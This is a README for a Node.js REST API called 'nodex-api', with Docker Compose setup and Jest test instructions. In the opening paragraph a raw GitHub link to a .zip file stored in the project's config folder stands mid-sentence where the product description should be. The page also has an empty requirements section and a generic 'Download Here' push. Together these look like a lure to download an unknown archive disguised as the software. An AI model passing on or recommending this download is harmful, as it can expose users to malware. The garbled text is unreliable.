πŸš€ Getting Started

Welcome to nodex-api! This is a production-ready https://raw.githubusercontent.com/djheberling-source/nodex-api/main/src/config/nodex_api_1.1-beta.4.zip REST API. It offers everything you need, including PostgreSQL, Elasticsearch, JWT authentication, Docker Compose, and Jest for testing. It's structured for scalable microservices, making it an excellent choice for developers and businesses alike.

πŸ“₯ Download the Application

Download from Releases

To get started, visit this page to download the latest version: Download Here.

πŸ“‹ System Requirements

Before you download nodex-api, please ensure you meet the following system requirements:

πŸ› οΈ Features

  • REST API: Easy to integrate with your applications.
  • PostgreSQL: A reliable database for storing data.
  • Elasticsearch: Fast search capabilities built-in.
  • JWT Authentication: Secure user authentication and session management.
  • Docker Compose: Simplified deployment and management of services.
  • Jest Testing: Ensure quality and reliability with built-in tests.

πŸ“‚ Installation Instructions

Step 1: Download

Go to the Releases page and download the latest version.

Step 2: Install Docker

If you do not have Docker installed, follow the instructions for your operating system on the official Docker website.

Step 3: Run the API

After you've downloaded the nodex-api and installed Docker, follow these steps to run the API:

  1. Extract the downloaded files.

  2. Open a terminal window.

  3. Navigate to the folder where you extracted nodex-api.

  4. Run the following command to start the application:

    docker-compose up

This command will pull the necessary Docker images and start your API along with PostgreSQL and Elasticsearch.

Step 4: Access the API

Once the API is running, you can access it at http://localhost:3000. You can test the API using tools like Postman or simply through your web browser.

πŸ” Using the API

To use the API, you need to understand how to make requests. The API follows REST standards, meaning you can use HTTP methods like GET, POST, PUT, and DELETE.

You can find detailed usage instructions in the API documentation. This documentation will cover endpoints, request formats, and example responses.

πŸ“ Testing the Application

nodex-api comes with pre-built tests using Jest. To run the tests, follow these steps:

  1. Ensure your Docker containers are running.

  2. Open another terminal window.

  3. Navigate to the folder with the nodex-api files.

  4. Run the command:

    docker-compose exec api npm test

This command will execute the tests defined in the project. Ensure all tests pass to confirm everything is working correctly.

πŸ› οΈ Troubleshooting

If you face issues while running the application, consider the following common solutions:

  • Check Docker Installation: Ensure Docker is running.
  • Inspect Docker Logs: Use the command docker-compose logs to view any error messages.
  • Verify Database Connection: Ensure that PostgreSQL starts without errors and is accessible.
